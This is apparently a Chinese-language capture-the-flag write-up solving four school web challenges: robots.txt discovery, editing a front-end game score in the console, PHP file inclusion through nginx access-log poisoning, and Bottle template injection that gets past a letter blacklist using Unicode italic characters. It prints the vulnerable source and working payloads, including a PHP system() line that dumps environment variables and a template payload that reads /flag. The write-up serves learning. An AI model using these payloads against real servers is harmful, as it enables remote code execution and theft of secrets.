看了看朋友学校内部的 CTF 终端,本来就是来参观参观的,做上题了。

好吧,那就把 web 攻防训练的这四个题全写了吧。

有两题是旧内容,可以巩固一下

[问题 1/信息收集]Robot SignIn

既然都叫这个名了,那就访问/robots.txt

访问路由

这个就不多说了

[问题 2/js 控制台]js 小游戏

依旧小游戏

读源码,score 是前端控制的,这里我们直接使用控制台

再点一下得 1 分

就变成 114515 分了

[问题 3/日志注入]lfi

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
if(isset($_GET['look'])){
// Great, it's the file inclusion master, we have a save !!!
$look = $_GET['look'];
$look = str_replace("php", "!!!", $look);
$look = str_replace("data", "!!!", $look);
$look = str_replace("filter", "!!!", $look);
$look = str_replace("input", "!!!", $look);
include($look);
}else{
highlight_file(__FILE__);
}
?>

文件包含,本题 hint:日志注入,这个在 SWPU2025 中讲过

我们尝试访问

1
?look=**/var/log/nginx/access.log**

还真能访问进去,甚至是明文,不是 json,比那题简单

这里我们直接 user-agent 嵌入明文就行了

1
<?php system('env>1.txt');?>

再包含一次,也就是刷新日志网站

随后访问/1.txt,就出来了

[问题 4/斜体字符 SSTI]bottle

这题源码是这样,看着像 SSTI

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
banned = [
'o', '\\', '\r', '\n', 'os', 'import', 'eval', 'exec', 'system', ' ', ';', 'read'
]

@bottle.route('/ask')
def route():
payload = bottle.request.query.get("payload")
if payload and len(payload) < 25 and all(word not in payload for word in banned):
print(payload)
return bottle.template(payload)
else:
bottle.abort(400, "Invalid payload")

if __name__ == "__main__":
bottle.run(host='0.0.0.0', port=8080)

但’o’都没了,那还说啥了,啥也用不了

看了看本题的题解,又学到了一种新方法–unicode 斜体字符

在 Unicode 字符集中,存在着一些特殊的斜体字符,它们在编码层面具有独特的特性。例如,斜体字符 𝑜(U+1D46F)与普通字符 o 虽然在外观上有所不同,但具有相同的规范化分解结果。这是因为 Unicode 为了实现字符的标准化表示,定义了多种规范化形式,其中 NFC(Normalization Form C)和 NFD(Normalization Form D)是较为常用的两种。NFC 形式会将字符组合成规范的组合字符序列,而 NFD 则将字符分解为基字符和组合字符序列 。在这两种规范化形式下,斜体字符 𝑜 都会被处理为与普通字符 o 相同的形式。

具体有哪些特殊字符可以在 www.compart.com/en/unicode 中查询。

在本题中,采取斜体字绕过的方式。

我们可以探究 template() 具体是如何实现的,从中得到斜体字绕过可行的原因。

1
2
3
4
def touni(s, enc='utf8', err='strict'):
if isinstance(s, bytes):
return s.decode(enc, err)
return unicode("" if s is None else s)

然后 unicode 是 str 类 unicode = str。 恰好,在 Python 中,str 类型不仅包含我们常见的英文、数字等字符,还支持 Unicode 字符。只要是有效的 Unicode 字符,都可以被 Python 的字符串类型识别和处理。所以不管你所谓的字母”a”是 Unicode 中多么奇特的样式,都属于 Python 识别的范畴。以上标字母 为例,从报错中我们可以窥见 Python 实际上是将其处理成了”a”的。

1
2
3
4
5
6
7
>>> type("ᵃ")
<class 'str'>
>>>
Traceback (most recent call last):
File "<python-input-3>", line 1, in <module>

NameError: name 'a' is not defined

那么,有了这些前置知识,解决本题就比较容易了。首先这是采用了 bottle.template() 模板渲染函数。该函数会运行 {{}} 中的语句。所以我们可以先构造答案为 xxx.xxx.xxx.xxx:xxxx/ask?payload={{open("/flag").read()}}。 结果我们的需要的部分字母被 ban 了,采取前面的斜体字知识,o 换成斜体 o,编码为 %BA,a 换成斜体 a,编码为 %AA。即

xxx.xxx.xxx.xxx:xxxx/ask?payload={{%BApen(%27/flag%27).re%AAd()}}

也就是说,我们用这些 unicode 的 URL 编码,就能在 ssti 中敲出这些 unicode,像这样

1
{{%BApen(%27/flag%27).re%AAd()}}

那怎样找到这些拥有不同 unicode,或者不同 url 编码的字符呢

我们直接在这个网站这么搜正常的 o

翻到下面,就一大堆可以点进去,并以 a 为基础的字符

URL 编码实际上可以把这个字符复制了放在 hackbar 进行编码

但这种绕过方式对环境的要求还是蛮高的,需要多斟酌一下